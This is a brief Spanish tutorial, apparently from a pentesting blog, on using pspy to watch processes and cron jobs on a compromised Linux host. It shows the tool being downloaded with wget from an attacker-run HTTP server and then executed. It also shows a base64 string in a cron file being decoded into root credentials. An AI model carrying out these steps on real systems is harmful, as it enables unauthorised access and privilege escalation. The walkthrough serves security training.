PSPY

indagación de procesos de Linux sin privilegios

Featured image

Es una herramienta de línea de comandos diseñada para husmear en los procesos sin necesidad de permisos de root. Le permite ver los comandos ejecutados por otros usuarios, trabajos cron, etc. mientras se ejecutan.

Transferencia

Primero desde nuestra máquina atacante nos creamos un servidor web para descargarlo desde la máquina víctima pspy:

┌──(root㉿kali)-[/opt/pspy]
└─# python -m http.server     
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
-127.0.0.1 - - [10/May/2022 03:21:48] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [10/May/2022 03:21:49] code 404, message File not found
127.0.0.1 - - [10/May/2022 03:21:49] "GET /favicon.ico HTTP/1.1" 404 -
10.1.1.22 - - [10/May/2022 03:23:34] "GET /pspy64 HTTP/1.1" 200 -

Ahora lo descargamos desde la máquina víctima:

www-data@demo:/tmp$ wget http://10.1.1.19:8000/pspy64
--2022-05-10 09:23:33--  http://10.1.1.19:8000/pspy64
Connecting to 10.1.1.19:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: 'pspy64'

pspy64                        100%[==============================================>]   2.94M  --.-KB/s    in 0.03s   

2022-05-10 09:23:33 (115 MB/s) - 'pspy64' saved [3078592/3078592]

www-data@demo:/tmp$ ls
pspy64

Ejecución

Ahora procedemos a asignar los permisos correspondientes y lo ejecutamos:

www-data@demo:/tmp$ chmod +x pspy64 
www-data@demo:/tmp$ ./pspy64

1

Al ejecutarlo podemos ver los procesos en ejecución y si seguimos bajando detectaremos tareas CRON:

2

CRON es un administrador regular de procesos en segundo plano, que ejecuta procesos o guiones a intervalos regulares (por ejemplo, cada minuto, día, semana o mes). Esto significa que pueden ser utilizados de forma maliciosa para detectar archivos que puedan servir para escalar privilegios, o bien encontrar datos sensibles expuestos. Por ejemplo:

3

www-data@demo:/tmp$ cd ..
www-data@demo:/$ cat /usr/share/doc/examples/cron.sh

# cron.sh sample file
# 0 20 * * * /bin/goahead --parameter: LXUgcm9vdCAtcCByZnZiZ3QhIQ==

┌──(root㉿kali)-[/pspy]
└─# echo 'LXUgcm9vdCAtcCByZnZiZ3QhIQ==' | base64 -d; echo
-u root -p rfvbgt!!

En este caso se encontraron credenciales expuestas en la máquina!